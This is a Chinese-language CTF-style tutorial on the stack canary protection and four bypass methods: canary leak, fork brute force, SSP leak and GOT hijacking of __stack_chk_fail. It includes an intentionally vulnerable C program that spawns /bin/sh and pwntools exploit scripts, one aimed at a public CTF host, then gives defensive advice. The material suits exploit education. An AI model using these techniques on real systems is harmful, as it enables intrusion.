解析Canary保护机制与绕过策略
字数 1254 2025-08-23 18:31:08
Canary保护机制与绕过策略详解
一、Canary保护机制简介
Canary是一种防护栈溢出的保护机制,主要作用是在函数调用时插入类似于cookie的信息,当函数返回时验证该信息是否被修改,从而检测栈溢出攻击。
工作原理
- 在函数入口处从fs/gs寄存器获取一个值(Canary)
- 存储在栈上特定位置(32位:EBP-0x4;64位:RBP-0x8)
- 函数结束时检查该值是否被修改
- 如果被修改,调用
___stack_chk_fail终止程序
GCC编译选项
-fstack-protector:为含数组的函数插入保护-fstack-protector-all:为所有函数插入保护-fstack-protector-strong:更智能的保护-fstack-protector-explicit:只对有明确属性的函数保护-fno-stack-protector:禁用保护
二、Canary技术细节
存储特点
- 32位程序:4字节Canary
- 64位程序:8字节Canary
- 以
\x00字节结尾(便于字符串截断)
内存布局
Canary位置不一定与EBP相邻,不同编译器可能有填充字节:
栈布局示例:
[局部变量][填充字节][Canary][EBP][返回地址]
三、Canary绕过技术
1. 泄露栈中的Canary
条件
- 存在栈溢出漏洞
- 可以将栈中的可控变量输出
原理
利用Canary以\x00结尾的特性,通过部分覆盖和输出函数泄露Canary值。
示例代码
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
void getshell(void) {
system("/bin/sh");
}
void init() {
setbuf(stdin, NULL);
setbuf(stdout, NULL);
setbuf(stderr, NULL);
}
void vuln() {
char buf[100];
for(int i=0; i<2; i++){
read(0, buf, 0x200);
printf(buf);
}
}
int main(void) {
init();
puts("Hello Hacker!");
vuln();
return 0;
}
利用步骤
- 第一次输入填充缓冲区但不覆盖Canary
- 利用格式化字符串漏洞泄露Canary
- 第二次构造payload时包含正确的Canary值
EXP示例
from pwn import *
context(os='linux', arch='i386', log_level='debug')
p = process('./canary1')
e = ELF('./canary1')
get_shell = e.sym['getshell']
# 泄露Canary
p.recvuntil('Hello Hacker!')
payload = 'a'*100
p.sendline(payload)
p.recvuntil('a'*100)
canary = u32(p.recv(4)) - 0xa
log.info("Canary:" + hex(canary))
# 绕过Canary
payload = 'a'*100 + p32(canary) + 'a'*12 + p32(get_shell)
p.sendline(payload)
p.interactive()
2. 爆破Canary
条件
- 程序使用fork创建子进程
- Canary在同一进程的不同线程中相同
原理
通过fork创建的子进程Canary与父进程相同,可以逐字节爆破。
示例代码
int fun() {
char buf; // [sp+8h] [bp-70h]@1
int v2; // [sp+6Ch] [bp-Ch]@1
v2 = *MK_FP(__GS__, 20);
read(0, &buf, 0x78u); //栈溢出漏洞
return *MK_FP(__GS__, 20) ^ v2;
}
EXP示例
from pwn import *
context(os='linux', arch='i386', log_level='debug')
p = process('./bin1')
e = ELF('./bin1')
p.recvuntil('welcome\n')
canary = '\x00'
for i in range(3):
for i in range(256):
p.send('a'*100 + canary + chr(i))
message = p.recvuntil('welcome\n')
if 'recv' in message:
canary += chr(i)
break
getflag_addr = e.sym['getflag']
payload = 100*'a' + canary + 8*'a' + 4*'a' + p32(getflag_addr)
p.sendline(payload)
p.interactive()
3. SSP (Stack Smashing Protect) Leak
条件
- glibc版本会输出argv[0]
- 栈溢出长度足以覆盖argv[0]
原理
当Canary被改变时,__stack_chk_fail会输出argv[0]的内容,通过覆盖argv[0]为想要泄露的地址实现任意读。
EXP示例
from pwn import *
context(os='linux', arch='amd64', log_level='debug')
p = remote('pwn.jarvisoj.com', 9877)
flag_addr = 0x400d21
payload = 'a'*0x218 + p64(flag_addr)
p.sendlineafter('your name? ', payload)
p.recv()
p.sendline()
p.interactive()
4. 劫持__stack_chk_fail函数
条件
- 存在格式化字符串漏洞
- RELRO未开启或为Partial
原理
通过格式化字符串漏洞修改__stack_chk_fail的GOT表项,使其指向后门函数。
EXP示例
from pwn import *
context(os='linux', arch='amd64', log_level='debug')
p = process('./bin3')
e = ELF('./bin3')
system_addr = 0x40084e
stack_chk_fail_got_addr = e.got['__stack_chk_fail']
payload = 'a'*5 + '%' + str(system_addr & 0xffff - 5) + 'c%8$hn' + p64(stack_chk_fail_got_addr) + 'a'*100
p.sendlineafter("It's easy to PWN", payload)
p.interactive()
四、防御建议
- 使用最新版本的glibc(修复SSP leak等问题)
- 开启Full RELRO防止GOT表修改
- 结合ASLR和PIE增加利用难度
- 使用
-fstack-protector-strong提供更强的保护
五、总结
Canary机制虽然能有效防御简单的栈溢出攻击,但通过泄露、爆破、SSP leak和GOT劫持等方法仍可能被绕过。在实际应用中,应结合多种防护机制构建纵深防御体系。